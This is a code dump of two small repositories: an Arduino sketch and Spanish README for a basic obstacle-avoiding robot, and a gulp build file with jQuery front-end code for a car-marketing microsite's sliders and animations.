<file_sep>//<NAME> #include <Servo.h> #include <AFMotor.h> //libreria para motores #define trigPin 8 // definir pin 8 para Trigger #define echoPin 13 //definir pin 13 para Echo AF_DCMotor motor1(3,MOTOR12_64KHZ); // setear motores. AF_DCMotor motor2(4, MOTOR12_8KHZ); Servo myservo; // create servo object to control a servo //int pos=0; void setup() { Serial.begin(9600); // comienza comunicacion serial Serial.println("Probando motores!"); pinMode(trigPin, OUTPUT);// configurar el Trigger al pin (Enviar sound waves) pinMode(echoPin, INPUT);// Configurar el pin Echo (para recibir ondas de sonido) motor1.setSpeed(155); //configurar velocidad de los motores 0-255 motor2.setSpeed (155); //myservo.attach(9); // Eso es para configurar el servo (si tienen servo para que gire el HCSR04 } void loop() { long duration, distance; // comenzar el scaneo digitalWrite(trigPin, LOW); delayMicroseconds(2); // Delay necesario tras la configuracion del sensor. digitalWrite(trigPin, HIGH); delayMicroseconds(10); //DELAY EN MICROSEGUNDOS digitalWrite(trigPin, LOW); duration = pulseIn(echoPin, HIGH); distance = (duration/2) / 29.1;// CONVIERTE DISTANCIA A CENTIMETROS. if (distance < 25)// si la distancia es menor a 20 cms probar evadir PRIMER INTENTO { Serial.print ("Distance From Robot is " ); Serial.print ( distance); Serial.print ( " CM!");// print out the distance in centimeters. Serial.println (" Turning !"); motor1.run(RELEASE); motor2.run(RELEASE); delay(500); motor2.setSpeed(250); motor1.setSpeed(150); motor2.run(BACKWARD); motor1.run (FORWARD); delay(500); motor1.run(RELEASE); motor2.run(RELEASE); delay(1000); digitalWrite(trigPin, LOW); delayMicroseconds(2); digitalWrite(trigPin, HIGH); delayMicroseconds(10); digitalWrite(trigPin, LOW); duration = pulseIn(echoPin, HIGH); distance = (duration/2) / 29.1; //segundo intento de evasion if(distance <25){ motor1.run(RELEASE); motor2.run(RELEASE); delay(500); motor2.setSpeed(250); motor1.setSpeed(150); motor2.run(BACKWARD); motor1.run (FORWARD); delay(500); motor1.run(RELEASE); motor2.run(RELEASE); delay(500); } // si son mas de dos intentos... probar invertir el giro if(distance <25){ motor1.run(RELEASE); motor2.run(RELEASE); delay(500); motor2.setSpeed(150); motor1.setSpeed(250); motor2.run(FORWARD); motor1.run (BACKWARD); delay(500); motor1.run(RELEASE); motor2.run(RELEASE); delay(500); } } else { Serial.println ("No hay obstaculos: ir al frente"); delay (15); motor1.run(BACKWARD); //Si no hay obstaculos ir al frente motor2.run(BACKWARD); } } <file_sep># ProyRoboticaBasica Proyecto de robotica basica Universidad R<NAME> Programa Educación Continua # Prerrequisitos * [Arduino IDE](https://www.arduino.cc/en/main/software) * [Arduino Uno](https://www.arduino.cc/en/Main/ArduinoBoardUno) * 1 o más leds * [Sensor UltraSonico HC-SR04] (http://www.ezsbc.com/media/catalog/product/cache/1/image/800x800/9df78eab33525d08d6e5fb8d27136e95/r/t/rtk-hcsr04-1.jpg) * [Motor Shield](http://www.prometec.net/wp-content/uploads/2015/03/adafruit-motorshield2.jpg) * Cables Dupont * Batería 9V * Servo Motor 180 grados * [ultrasonic sensor HC-SR04.](http://www.ebay.com/itm/5pcs-Ultrasonic-Module-HC-SR04-Distance-Measuring-Transducer-Sensor-for-Arduino-/381374789471?hash=item58cbb5775f:g:Rd0AAOxySoJTWL-h) ##Circuito Básico El circuito básico se detalla en la siguiente imagen, me tope con el problema de que al conectar el Echo al pin 7 del Arduino, me descompensaba el voltaje en los motores, y se solucionó el problema pasando el Echo al pin 13 del Arduino. ![Alt text](/circuito.jpg?raw=true "Optional Title"=400x) Video de funcionamiento del proyecto. * [Video Demostrativo](https://www.youtube.com/embed/QVIWWzuXk-c)
908a9f9d867b492ede0c551a74bf41abcec4f68c
[ "Markdown", "C++" ]
2
C++
rcherrera/ProyRoboticaBasica
a1ee4531e260aabb45a2d9e0d124a7680f5fcebd
32882b91611ffd4dc0ec5b60dc3f575ce323ca48
refs/heads/master
<repo_name>LittleHendrix/gulp-setup<file_sep>/gulpfile.js var gulp = require('gulp'); var gutil = require('gulp-util'); var plumber = require('gulp-plumber'); var notify = require("gulp-notify"); var uglify = require('gulp-uglify'); var beautify = require('gulp-beautify'); var size = require('gulp-size'); var sass = require('gulp-sass'); var concat = require('gulp-concat'); var rename = require('gulp-rename'); var minifyCss = require('gulp-minify-css'); var sourcemaps = require('gulp-sourcemaps'); var stripdebug = require('gulp-strip-debug'); var autoprefixer = require('gulp-autoprefixer'); var filter = require('gulp-filter'); var livereload = require('gulp-livereload'); var argv = require('yargs').argv; var gulpif = require('gulp-if'); var paths = { scripts: { src: './src/js/', dest: './scripts/' }, styles: { src: './src/scss/', dest: './css/' } }; var sassStyle = 'compressed'; if (gutil.env.dev === true) { sassStyle = 'nested'; } gulp.task('sass', function () { return gulp.src('./src/scss/**/*.scss') .pipe(plumber({ errorHandler: displayError })) .pipe(gulpif(argv.dev, sourcemaps.init({ loadMaps: true }))) .pipe(sass({ outputStyle: sassStyle, sourceComments: false, includePaths: [ 'bower_components/foundation-sites/scss/', 'bower_components/owl.carousel/src/scss/' ] })) .pipe(autoprefixer({ browsers: ['last 2 versions', 'ie >= 9', 'and_chr >= 2.3', 'Android >= 4.0'] })) //.pipe(concat('app.min.css')) .pipe(rename({ suffix: ".min" })) .pipe(gulpif(argv.dev, sourcemaps.write('.'))) .pipe(size()) .pipe(gulp.dest(paths.styles.dest)); }); // common scripts gulp.task('js', function () { return gulp.src([ paths.scripts.src + 'app.js' ]) .pipe(plumber({ errorHandler: displayError })) .pipe(gulpif(argv.dev, sourcemaps.init({ loadMaps: true }))) .pipe(gulpif(!argv.dev, stripdebug())) .pipe(gulpif(argv.dev, beautify({ indentSize: 2 }), uglify({ mangle: false }))) .pipe(concat('app.min.js', { newLine: ';' })) .pipe(gulpif(argv.dev, sourcemaps.write('.'))) .pipe(size()) .pipe(gulp.dest(paths.scripts.dest)); }); gulp.task('vendorjs', function () { return gulp.src([ 'bower_components/jquery/dist/jquery.js', 'bower_components/jquery.cookie/jquery.cookie.js', 'bower_components/owl.carousel/src/js/owl.carousel.js', 'bower_components/owl.carousel/src/js/owl.navigation.js', paths.scripts.src + 'addtohomescreen.js' ]) .pipe(plumber({ errorHandler: displayError })) .pipe(stripdebug()) .pipe(uglify({ mangle: false })) .pipe(concat('vendor.min.js', { newLine: ';' })) .pipe(size()) .pipe(gulp.dest(paths.scripts.dest)); }); gulp.task('foundationjs', function() { return gulp.src([ 'bower_components/foundation-sites/dist/foundation.js' ]) .pipe(plumber({ errorHandler: displayError })) .pipe(stripdebug()) .pipe(uglify({ mangle: false })) .pipe(concat('foundation.min.js', { newLine: ';' })) .pipe(size()) .pipe(gulp.dest(paths.scripts.dest)); }); /* gulp.task('modernizr', function () { return gulp.src([ 'bower_components/modernizr/modernizr.js' ]) .pipe(plumber({ errorHandler: displayError })) .pipe(gulpif(argv.dev, sourcemaps.init({ loadMaps: true }))) .pipe(uglify()) //.pipe(rename({suffix: ".min"})) .pipe(concat('modernizr.min.js')) .pipe(gulpif(argv.dev, sourcemaps.write('.'))) .pipe(size()) .pipe(gulp.dest(paths.scripts.dest)); }); */ gulp.task('watch', function () { // livereload.listen(); gulp.watch('./src/scss/**/*.scss', ['sass']); gulp.watch('./src/js/app.js', ['js']); }); var displayError = function (error) { var errorString = '[' + gutil.colors.cyan(error.plugin) + ']'; errorString += ' ' + error.message.replace("\n", ''); if (error.fileName) errorString += ' in ' + gutil.colors.yellow(error.fileName); if (error.lineNumber) errorString += ' on line ' + gutil.colors.bgRed(error.lineNumber); gutil.log(errorString); // plugins.notify.onError({ // title : "Gulp", // subtitle: "Failure!", // message : "Error: <%= error.message %>", // sound : "Beep" // })(error); this.emit('end'); };<file_sep>/app/assets/js/app.js $(document).ready(function(){ // document.addEventListener("touchmove", function(e){ e.preventDefault(); }, false); FastClick.attach(document.body); $('a.youtube').colorbox({ iframe: true, innerWidth: 640, innerHeight: 390, maxWidth: '80%' }); var $panels = $('.panel'), $forwardlinks = $('.next-panel', $panels), panelTotal = $panels.length, curPanel = 0, scrollPos = 0, startY = 0, deltaY = 0, $displayPanes = $('#display').find('.colspan'), curCarPos = 0, $myWindow = $(window), $myDocument = $(document), vWidth = $myWindow.width(), vHeight = $myWindow.height(), vScrollTop = $myWindow.scrollTop(), oldIE = $('html').is('.lt-ie10'), isTouch = Modernizr.touch || navigator.maxTouchPoints > 0 || navigator.msMaxTouchPoints > 0, // evt = !isTouch ? 'tap' : 'click', // viewportEvt = Modernizr.deviceorientation ? 'orientationchange' : 'resize', evt = 'click', browser = platform.name.toLowerCase(), iOS = platform.os.family == 'iOS', iOS7 = (platform.os.family == 'iOS' && parseInt(platform.os.version, 10) == 7) ? " iOS7 " : "", iOS8 = (platform.os.family == 'iOS' && parseInt(platform.os.version, 10) >= 8) ? " iOS8 " : "", $floatNav = $('#floatNav'), $navSwitch = $('#toggler'), $navLinks = $('.flyout > a'), dtl = null, // ttl = null, autoScrolling = false, forwarding = false, eventhandler = function(e) { e.preventDefault(); }; // console.log(isTouch); document.documentElement.className += ' ' + browser; if (iOS) { document.documentElement.className += ' iOS ' + iOS7 + iOS8 + platform.product.toLowerCase(); } $myWindow.on('orientationchange resize',updateViewportSize).on('scroll',updateScrollPosition); $myDocument.on('touchmovetoggle', function(e, arg) { e.stopPropagation(); if (arg) { $myDocument.bind('touchmove', eventhandler); } else { $myDocument.unbind('touchmove', eventhandler); } }); $myWindow.on('updateautoscroll', function(e, arg) { // console.log('autoscrolling: ' +arg); if (arg) { autoScrolling = true; } else { autoScrolling = false; } }); function updateViewportSize() { vWidth = $myWindow.width(); vHeight = $myWindow.height(); } function updateScrollPosition() { vScrollTop = $myWindow.scrollTop(); if (!forwarding) { $myWindow.trigger('updateautoscroll', [ false ]); } } function isScrolledIntoView(elem) { var $el = elem instanceof jQuery ? elem : $(elem); var variant = Math.floor( vHeight / 4 ); var docViewTop = vScrollTop + variant; var elemTop = $el.offset().top; var elemBottom = elemTop + $el.height() - (variant*2); return ((docViewTop >= elemTop) && (docViewTop <= elemBottom)); } $(document).foundation(); $navSwitch.on(evt, function(e) { e.stopPropagation(); $floatNav.toggleClass('open'); return false; }) $forwardlinks.each(function(i) { var $this = $(this); $this.on(evt, function(e) { e.stopPropagation(); // flag autoScrolling to true $myWindow.trigger('updateautoscroll', [ true ]); forwarding = true; curPanel = i+1; scrollPos = i+1 == panelTotal ? 0 : $panels.eq(i+1)[0].offsetTop; // TweenLite.to(window, 0.8, {scrollTo:{y:scrollPos}, onComplete: function() { // $myWindow.trigger('updateautoscroll', [ false ]); // forwarding = false; // }, ease:Power2.easeInOut}); $('html,body').animate( { scrollTop: scrollPos }, { duration: 500, queue: false, done: function() { $myWindow.trigger('updateautoscroll', [ false ]); forwarding = false; } } ); return false; }) }); $('.lavanav').lavanav(); var driveSlider = (function() { var $panel = $('#driveoflife'), $driveSlider = $('#mainslider'), $slides = $('.slides',$driveSlider).css('opacity',0), slidesLoaded = false, $preloader = $panel.find('.preloader'), $cue = $panel.find('.cue'); var driveSliderInstance = $driveSlider.flexslider({ animation: 'slide', animationLoop: true, slideshow: false, allowOneSlide: false, useCSS: true, start: function(slider) { if (!slidesLoaded) { $(document).foundation('interchange', 'reflow'); } }, after: function() { if ($cue.is(':visible')) { $cue.fadeOut(450); } } // , // after: function(slider) { // if (!slidesLoaded) { // console.log('after run'); // $preloader.addClass('loading'); // slidesLoaded = true; // $.get('slides.html') // .done(function(data) { // $(data).children().each(function() { // slider.addSlide(this); // }); // $(document).foundation('interchange', 'reflow'); // $slides.css('opacity',1); // $preloader.addClass('loaded'); // $myWindow.off('.loadslides'); // $('#mainslider .flex-direction-nav a').off('.loadslides'); // }); // } // } }); if (isTouch) { loadDriveSlider(); } $myWindow.on('updateautoscroll.loadslides', loadDriveSlider); $('#mainslider .flex-direction-nav').on(evt+'.loadslides', 'a', function(e) { e.stopPropagation(); var $this = $(this); if (!slidesLoaded) { // console.log('click loading initiated...'); $preloader.addClass('loading'); slidesLoaded = true; $.get('slides.html') .done(function(data) { $(data).children().each(function() { driveSliderInstance.data('flexslider').addSlide(this); }); var pos = ($this.hasClass('flex-next')) ? 1 : $(data).children().length; $(document).foundation('interchange', 'reflow'); $slides.css('opacity',1); $preloader.addClass('loaded'); driveSliderInstance.data('flexslider').flexAnimate(pos, true); }); $(this).off('.loadslides'); $myWindow.off('.loadslides'); } return false; }); function loadDriveSlider() { if (isScrolledIntoView($panel) && !slidesLoaded && isTouch && !autoScrolling) { // console.log('loading started...'); $preloader.addClass('loading'); slidesLoaded = true; $.get('slides.html') .done(function(data) { $(data).children().each(function() { driveSliderInstance.data('flexslider').addSlide(this); }); $(document).foundation('interchange', 'reflow'); $slides.css('opacity',1); $preloader.addClass('loaded'); $cue.fadeIn(450); $myWindow.off('.loadslides'); $('#mainslider .flex-direction-nav a').off('.loadslides'); }); } } })(); if (!isTouch) { // Desktop only code $displayPanes.each(function() { var $this = $(this), overlay = $('.text-wrap',$this); $this.hover(function() { TweenLite.to(overlay, 0.4, {css:{opacity:0, scale:1.5}, ease:Power2.easeInOut}); }, function() { TweenLite.to(overlay, 0.4, {css:{opacity:1, scale:1}, ease:Power2.easeInOut}); }); }); } else { // Touch enabled devices var displaySlider = (function() { var $panel = $('#display'), $popupTrigger = $('.overlay', $panel), $popup = $('.popup', $panel), $card = $('.card', $popup).css('visibility','hidden'), $closeBtn = $('.close', $popup), $close = $closeBtn.add($popup), $cue = $('.cue', $popup), $displaySlider = $('.popupslider', $panel), pos = 0, displaySliderInstance = null; hideDisplaySlider(); $myWindow.on('scroll', hideDisplaySlider); function hideDisplaySlider() { if (!isScrolledIntoView($panel)) { $popup.fadeOut(450); $myDocument.trigger('touchmovetoggle', [ false ]); } } $popupTrigger.each(function(index) { var $this = $(this); $this.on(evt, function(e) { pos = index; $popup.fadeIn(450); $myDocument.trigger('touchmovetoggle', [ true ]); if (displaySliderInstance == null) { displaySliderInstance = $displaySlider.flexslider({ animation: 'slide', controlNav: false, directionNav: false, animationLoop: true, slideshow: false, startAt: pos, start: function() { $card.css('visibility','visible'); var slides = $displaySlider.find('ul.slides'), distance = slides.height()/2; slides.css('margin-top', '-'+distance+'px'); $closeBtn.css({ 'margin-top': '-'+(distance - 10)+'px', 'margin-right': '-'+(slides.find('.dis-pane:first').width()/2 - 10)+'px' }); }, after: function() { $cue.fadeOut(250); } }); } else { // console.log('already initiated.'); displaySliderInstance.data('flexslider').flexAnimate(pos, true); var slides = $displaySlider.find('ul.slides'), distance = slides.height()/2; slides.css('margin-top', '-'+distance+'px'); $closeBtn.css({ 'margin-top': '-'+(distance - 10)+'px', 'margin-right': '-'+(slides.find('.dis-pane:first').width()/2 - 10)+'px' }); } }); }); $close.on(evt, function(e) { e.stopPropagation(); if ($(e.target).is('span.close') || $(e.target).is('div.flex-viewport')) { $popup.fadeOut(450); $myDocument.trigger('touchmovetoggle', [ false ]); } return false; }); })(); } var carslider = (function() { var carsloaded = false, $carHolder = $('#cars'), $carpark = $('#carpark'), $preloader = $carHolder.find('.preloader'), $modelSwitcher = $('#modelSwitch').find('a.carswitch'), curCarModel = 'hatch', oldCarModel = '', $cars = $(), curCarPos = 0; var $sl = $('#viewSlider').slider({ max: 99 }).on('slide', function ( event, ui ) { curCarPos = Math.floor(ui.value / 25); $cars.removeClass('active').eq(curCarPos).addClass('active'); }).on('slidestart', function(event, ui) { if (!carsloaded) { loadCarImg(curCarModel); } }); $modelSwitcher.on(evt, function() { curCarModel = this.hash.slice(1); if (curCarModel != oldCarModel) { loadCarImg(curCarModel); } return false; }); function loadCarImg(carModel) { // temporarily disable the slider and display loading animation $sl.slider('disable'); $preloader.addClass('loading'); oldCarModel = carModel; // retrieve car images if (!carsloaded) { carsloaded = true; $.get('cars.html') .done(function(data) { var $data = $('<div>' + data + '</div>'); // load images into DOM $cars = $('img', $data).appendTo($carpark).invisible().filter('.'+carModel).visible().eq(0).addClass('active').end(); // hide initial image/loading animation, re-enable the slider $preloader.addClass('loaded'); $sl.slider('enable'); $sl.slider({value:0}); $(document).foundation('interchange', 'reflow'); }); } else { $cars.removeClass('active').invisible(); $cars = $('.'+carModel, $carpark).visible().eq(curCarPos).addClass('active').end(); $sl.slider('enable'); // $sl.slider({value:curCarPos}); } } })(); var dashSlider = (function() { var $panel = $('#dashboard'), // $infograph = $panel.find('.infograph'), $bubbles = $panel.find('.bubble'), $popup = $panel.find('.popup'), $card = $popup.find('.card').css('visibility','hidden'), $closeBtn = $popup.find('.close'), $close = $closeBtn.add($popup), $cue = $popup.find('.cue'), $dashSlider = $panel.find('.popupslider'), pos = 0, dashSliderInstance = null, stageReady = false; dtl = new TimelineLite({ paused: true, onComplete: completeHandler, onReverseComplete : reverseCompleteHandler }); dtl.staggerTo($bubbles, 0.5, {autoAlpha:1, scale:1.15, ease:Elastic.easeIn}, 0.3 ); dtl.staggerTo($bubbles, 0.1, {scale:1, ease:Elastic.easeOut}, 0.3, '-=0.6'); prepareDashStage(); $myWindow.on('updateautoscroll', prepareDashStage); function completeHandler() { stageReady = true; } function reverseCompleteHandler() { this.timeScale(1); } function prepareDashStage() { if (autoScrolling) { // if in autoscroll mode, kill the tween and reset playhead back to 0 if (dtl.isActive() || dtl.progress() == 1) { dtl.kill(); } } else { if (isScrolledIntoView($panel)) { if (!stageReady) { // console.log('started preparing stage'); dtl.play(); } } else { if (stageReady) { // console.log('started clearing stage'); // $infograph.removeClass('shown'); // $bubbles.removeClass('active'); // if (dtl.progress() != 0) { // dtl.timeScale(2); // dtl.reverse(); // } $popup.fadeOut(450); $myDocument.trigger('touchmovetoggle', [ false ]); stageReady = false; } } } } $bubbles.each(function(index) { var $this = $(this); $this.on(evt, function() { pos = index; // $bubbles.removeClass('active').filter($this).addClass('active'); $popup.fadeIn(450); // disable vertical swipe $myDocument.trigger('touchmovetoggle', [ true ]); if (dashSliderInstance == null) { dashSliderInstance = $dashSlider.flexslider({ animation: 'slide', controlNav: false, directionNav: true, animationLoop: true, slideshow: false, startAt: pos, start: function(slider) { $card.css('visibility','visible'); var slides = $dashSlider.find('ul.slides'), distance = slides.height()/2; slides.css('margin-top', '-'+distance+'px'); $closeBtn.css({ 'margin-top': '-'+(distance - 10)+'px', 'margin-right': '-'+(slides.find('.dis-pane:first').width()/2 - 10)+'px' }); }, after: function(slider) { $cue.fadeOut(250); } }); } else { dashSliderInstance.data('flexslider').flexAnimate(pos, true); var slides = $dashSlider.find('ul.slides'), distance = slides.height()/2; slides.css('margin-top', '-'+distance+'px'); $closeBtn.css({ 'margin-top': '-'+(distance - 10)+'px', 'margin-right': '-'+(slides.find('.dis-pane:first').width()/2 - 10)+'px' }); } return false; }); }); $close.on(evt, function(e) { e.stopPropagation(); if ($(e.target).is('span.close') || $(e.target).is('div.flex-viewport')) { // $bubbles.removeClass('active'); $popup.fadeOut(450); // re-enable vertical swipe $myDocument.trigger('touchmovetoggle', [ false ]); } // return false; }); })(); var hardwareSlider = (function() { var $lnks = $('#hardwareSwitch').find('a'), $items = $('#hardware').find('.item'), target, oldTarget = 0, disclaimer = '', disclaimer2 = '', $extra = $('#extra'), stageReady = false, $panel = $('#skyactiv'), $popupTrigger = $panel.find('.bubble'), $popup = $panel.find('.popup'), $card = $popup.find('.card').css('visibility','hidden'), $closeBtn = $popup.find('.close'), $close = $closeBtn.add($popup), $cue = $popup.find('.cue'), $hardwareSlider = $panel.find('.popupslider'), pos = 0, hardwareSliderInstance = null, htls = []; $items.each(function(i) { var $this = $(this), imgs = $this.find('img.base'), imgTotal = imgs.length, bubbles = $this.find('.bubble'), bubTotal = bubbles.length, infograph = $this.find('.infograph'); var childTl = new TimelineLite({ paused: true, onComplete: completeHandler, onCompleteParams: [ bubbles ], onReverseComplete: reverseCompleteHandler }); if (!iOS || parseInt(platform.os.version, 10) != 7 || platform.product.toLowerCase() != 'iphone') { if (imgTotal > 1) { childTl.staggerTo(imgs, .4, {autoAlpha:1, scale:1}, 0.3); } else { childTl.to(imgs, .4, {autoAlpha:1, scale:1}); } } if (bubTotal > 1) { childTl.staggerTo(bubbles, 0.4, {autoAlpha:1, scale:1.15, ease:Elastic.easeIn}, 0.3); childTl.staggerTo(bubbles, 0.1, {scale:1, ease:Elastic.easeOut}, 0.3); if (!isTouch || vWidth >= 768) { childTl.staggerTo(infograph, 0.2, {autoAlpha:1}, 0.3); } } else { childTl.add( TweenLite.to(bubbles, 0.4, {autoAlpha:1, scale:1.15, ease:Elastic.easeIn}) ); childTl.add( TweenLite.to(bubbles, 0.1, {scale:1, ease:Elastic.easeOut, delay:0.3}) ); if (!isTouch || vWidth >= 768) { childTl.add( TweenLite.to(infograph, 0.2, {autoAlpha:1}, 0.3) ); } } htls.push(childTl); }); function completeHandler(bubbles) { bubbles.addClass('active'); stageReady = true; } function reverseCompleteHandler() { this.timeScale(1); this.kill(); if (typeof target != 'undefined') { // if orientationchange happened before click, target wouldn't have been set yet $items.removeClass('active').eq(target).addClass('active'); } htls[target].play(); } prepareHardwareStage(); $myWindow.on('updateautoscroll', prepareHardwareStage); function prepareHardwareStage() { if (autoScrolling) { // is in autoscroll mode, kill the current tween and reset the playhead back to 0 for (var i = 0, len = htls.length; i < len; i++) { if (htls[i].isActive() || htls[i].progress() == 1) { htls[i].kill(); } } // htls[oldTarget].kill(); } else { if (isScrolledIntoView($('#skyactiv'))) { if (!stageReady) { // console.log('panel in view, animation starts...'); htls[oldTarget].play(); } } else { if (stageReady) { // console.log('panel out of view, animation reverts...'); // if (htls[oldTarget].progress() != 0) { // htls[oldTarget].reverse(); // } $popup.fadeOut(450); $myDocument.trigger('touchmovetoggle', [ false ]); stageReady = false; } } } } $lnks.each(function(i) { var $this = $(this), t = this.hash.slice(1); $this.on(evt, function(e) { e.stopPropagation(); disclaimer = $('#'+t).data('disclaimer') == undefined ? "" : $('#'+t).data('disclaimer'); disclaimer2 = $('#'+t).data('disclaimer-more') == undefined ? "" : $('#'+t).data('disclaimer-more'); target = i; if (target != oldTarget) { htls[oldTarget].timeScale(3); htls[oldTarget].reverse(); oldTarget = target; // htls[target].delay(1).play(); $extra.empty().append(disclaimer); if (disclaimer2 != "") { disclaimer2 = '<br />' + disclaimer2; $extra.append(disclaimer2); } } return false; }) }); if (isTouch) { $popupTrigger.each(function(index) { var $this = $(this); $this.on(evt, function(e) { e.stopPropagation(); switch (index) { case 0: pos = 0; break; case 1: pos = 1; break; case 2: pos = 2; break; case 3: pos = 3; break; case 4: pos = 4; break; case 5: pos = 6; break; default: pos = 0; break; } if (vWidth < 1024) { $popup.fadeIn(450); $myDocument.trigger('touchmovetoggle', [ true ]); if (hardwareSliderInstance == null) { hardwareSliderInstance = $hardwareSlider.flexslider({ animation: 'slide', controlNav: false, directionNav: false, animationLoop: true, slideshow: false, startAt: pos, start: function() { $card.css('visibility','visible'); var slides = $hardwareSlider.find('ul.slides'), distance = slides.height()/2; slides.css('margin-top', '-'+distance+'px'); $closeBtn.css({ 'margin-top': '-'+(distance - 10)+'px', 'margin-right': '-'+(slides.find('.dis-pane:first').width()/2 - 10)+'px' }); }, after: function() { $cue.fadeOut(250); } }); } else { hardwareSliderInstance.data('flexslider').flexAnimate(pos, true); var slides = $hardwareSlider.find('ul.slides'), distance = slides.height()/2; slides.css('margin-top', '-'+distance+'px'); $closeBtn.css({ 'margin-top': '-'+(distance - 10)+'px', 'margin-right': '-'+(slides.find('.dis-pane:first').width()/2 - 10)+'px' }); } } return false; }); }); $close.on(evt, function(e) { e.stopPropagation(); if ($(e.target).is('span.close') || $(e.target).is('div.flex-viewport')) { $popup.fadeOut(450); $myDocument.trigger('touchmovetoggle', [ false ]); } return false; }); } })(); var technologySlider = (function() { var $lnks = $('#techSwitch').find('a'), $items = $('#technology').find('.item'), $baseImgs = $('#technology').find('img.base'), target, oldTarget = 0, stageReady = false, carloaded = false, $panel = $('#activsense'), $bubbles = $panel.find('.bubble'), $popup = $panel.find('.popup'), $card = $popup.find('.card').css('visibility','hidden'), $closeBtn = $popup.find('.close'), $close = $closeBtn.add($popup), $cue = $popup.find('.cue'), $techSlider = $panel.find('.popupslider'), pos = 0, techSliderInstance = null, carTween = null, ttls = [], ttlsBub = []; $items.each(function(i) { var $this = $(this); if (!isTouch) { // prepare infograph tweens for desktop var infograph = $this.find('.infograph'); var childTl = new TimelineLite({ paused: true, onComplete: completeHandler, onReverseComplete: reverseCompleteHandler }); childTl.staggerTo(infograph, 0.4, {autoAlpha:1}, 0.3); ttls.push(childTl); } else { var bubbles = $this.find('.bubble'), bubTotal = bubbles.length; var bubChildTl = new TimelineLite({ paused: true, onComplete: completeHandler, onReverseComplete: bubReverseCompleteHandler }); if (bubTotal > 1) { bubChildTl.staggerTo(bubbles, 0.4, {autoAlpha:1, scale:1.15, ease:Elastic.easeIn}, 0.3); bubChildTl.staggerTo(bubbles, 0.1, {scale:1, ease:Elastic.easeOut}, 0.3); } else { bubChildTl.add( TweenLite.to(bubbles, 0.4, {autoAlpha:1, scale:1.15, ease:Elastic.easeIn}) ); bubChildTl.add( TweenLite.to(bubbles, 0.1, {scale:1, ease:Elastic.easeOut, delay:0.3}) ); } ttlsBub.push(bubChildTl); } }); function completeHandler() { stageReady = true; } function reverseCompleteHandler() { this.timeScale(1); this.kill(); if (typeof target != 'undefined') { // if orientationchange happened before click, target wouldn't have been set yet $items.removeClass('active').eq(target).addClass('active'); } ttls[target].play(); } function bubReverseCompleteHandler() { this.timeScale(1); this.kill(); if (typeof target != 'undefined') { // if orientationchange happened before click, target wouldn't have been set yet $items.removeClass('active').eq(target).addClass('active'); } ttlsBub[target].play(); } prepareTechStage(); $myWindow.on('updateautoscroll', prepareTechStage); function prepareTechStage() { if (autoScrolling) { if (!isTouch) { for (var i = 0, len = ttls.length; i < len; i++) { if (ttls[i].isActive() || ttls[i].progress() == 1) { ttls[i].kill(); } } } else { for (var i = 0, len = ttlsBub.length; i < len; i++) { if (ttlsBub[i].isActive() || ttlsBub[i].progress() == 1) { ttlsBub[i].kill(); } } } } else { if (isScrolledIntoView($panel)) { if (!stageReady) { // console.log('started preparing stage'); if (!carloaded && (!iOS || parseInt(platform.os.version, 10) != 7 || platform.product.toLowerCase() != 'iphone')) { carTween = TweenLite.to($baseImgs, 0.4, {autoAlpha:1, scale:1, ease:Power2.easeInOut}); } if (!isTouch) { ttls[oldTarget].delay(1).play(); } else { ttlsBub[oldTarget].play(); } } } else { if (stageReady) { // console.log('started clearing stage'); if (carTween != null && carTween.progress() == 1) { carTween.kill(); } // if (!isTouch) { // if (ttls[oldTarget].progress() != 0) { // ttl.timeScale(2); // ttls[oldTarget].reverse(); // } // } else { // if (ttl.progress() != 0) { // ttl.timeScale(2); // ttl.reverse(); // } // } $popup.fadeOut(450); $myDocument.trigger('touchmovetoggle', [ false ]); stageReady = false; } } } } $lnks.each(function(i) { var $this = $(this), t = this.hash.slice(1); $this.on(evt, function(e) { e.stopPropagation(); pos = $this.parent().index(); target = i; if (target != oldTarget) { if (!isTouch) { ttls[oldTarget].timeScale(2); ttls[oldTarget].reverse(); } else { ttlsBub[oldTarget].timeScale(2); ttlsBub[oldTarget].reverse(); } oldTarget = target; } return false; }); }); $close.on(evt, function(e) { e.stopPropagation(); if ($(e.target).is('span.close') || $(e.target).is('div.flex-viewport')) { $popup.fadeOut(450); $myDocument.trigger('touchmovetoggle', [ false ]); } return false; }); if (isTouch) { $bubbles.each(function(index) { var $this = $(this); $this.on(evt, function(e) { e.stopPropagation(); sliderInit(index); return false; }); }); } function sliderInit(pos) { $popup.fadeIn(450); $myDocument.trigger('touchmovetoggle', [ true ]); if (techSliderInstance == null) { techSliderInstance = $techSlider.flexslider({ animation: 'slide', controlNav: false, directionNav: false, animationLoop: true, slideshow: false, startAt: pos, start: function() { $card.css('visibility','visible'); var slides = $techSlider.find('ul.slides'), distance = slides.height()/2; slides.css('margin-top', '-'+distance+'px'); $closeBtn.css({ 'margin-top': '-'+(distance - 10)+'px', 'margin-right': '-'+(slides.find('.dis-pane:first').width()/2 - 10)+'px' }); }, after: function() { $cue.fadeOut(250); } }); } else { // console.log('already initiated.'); techSliderInstance.data('flexslider').flexAnimate(pos, true); var slides = $techSlider.find('ul.slides'), distance = slides.height()/2; slides.css('margin-top', '-'+distance+'px'); $closeBtn.css({ 'margin-top': '-'+(distance - 10)+'px', 'margin-right': '-'+(slides.find('.dis-pane:first').width()/2 - 10)+'px' }); } } })(); }); $.fn.lavanav = function() { return this.each(function() { var $el, leftPos, newWidth, that = $(this), $lnks = $('a',that); that.append('<li class="lava" />'); var $lava = $('.lava',that); if ($('a.active', that).length > 0) { var $curElement = $('a.active', that).parent(); $lava.width($curElement.width()) .css('left', $curElement.position().left) .data('origLeft', $curElement.position().left) .data('origWidth', $curElement.width()); } else { $lava.width(0).css('left', 0).data('origLeft', 0).data('origWidth', 0); } $lnks.on('click', function(e) { e.stopPropagation(); $lnks.removeClass('active').filter($(this)).addClass('active'); $el = $(this).parent(); leftPos = $el.position().left; newWidth = $el.width(); $lava.stop().animate({ left: leftPos, width: newWidth },250); return false; }); // $('a', that).hover(function() { // $el = $(this).parent(); // leftPos = $el.position().left; // newWidth = $el.width(); // $lava.stop().animate({ // left: leftPos, // width: newWidth // }); // }, function() { // $lava.stop().animate({ // left: $el.data('origLeft'), // width: $el.data('origWidth') // }); // }); }); }; $.fn.visible = function() { return this.css('visibility', 'visible'); }; $.fn.invisible = function() { return this.css('visibility', 'hidden'); };
671d254f1f1feaa395ac99fc7989243bc48ca29e
[ "JavaScript" ]
2
JavaScript
LittleHendrix/gulp-setup
b601f69528f3086a700bec6c0434a95b2a82bbbd
76fb7b07c563108f343ed69415dea51c8108ad58
refs/heads/master
